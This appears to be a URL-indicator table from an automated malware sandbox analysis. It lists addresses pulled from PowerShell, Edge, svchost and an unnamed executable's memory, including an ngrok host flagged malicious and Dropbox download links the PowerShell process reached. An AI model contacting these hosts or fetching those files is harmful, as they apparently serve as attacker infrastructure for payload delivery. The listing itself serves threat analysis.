https://login.yahoo.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com	powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/playlist/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1F030000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1ED50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1E1D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D436000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490EFB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/uX	powershell.exe, 00000016.00000002.1711359093.0000024490E7F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	msedge.exe, 00000006.00000002.1512705040.0000144800194000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1596271623.000030F000020000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.1567473604.000001FB1DDA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1E1D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490EFB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth/multilogin	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0ddX	powershell.exe, 00000016.00000002.1711359093.0000024490E7F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/LogoutYxABzenH	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.2553774147.0000022411200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v1/userinfo	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	false		high
https://www.dropbox.com/v/s/playlist/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dropbox.c	powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www-env.dropbox-dns.com	powershell.exe, 00000016.00000002.1711359093.0000024491A90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/OAuthLogin	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 00000007.00000003.1443045936.0000022411169000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.dropbox.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://msn.cn/	msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://canny.io/sdk.js	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/LogoutYxAB	msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://selfguidedlearning.dropboxbusiness.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	msedge.exe, 00000006.00000002.1512705040.0000144800194000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1596271623.000030F000020000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/presentation/fsip/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://PnpDevice.Format.ps1xmlShel	powershell.exe, 00000003.00000002.1608206078.000001FB354F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dl-web.dropbox.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/service_worker.js	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com/cd/0/get/CggyE9x9tsooR8bgLLYezdmbtOFN	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://paper.dropbox.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pal-test.adyen.com	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstorekgejglhpjiefppelpmljglcjbhoiplfn	msedge.exe, 00000006.00000002.1512705040.0000144800194000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza	powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491F1D000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/o/oauth2/revoke	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellosign.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
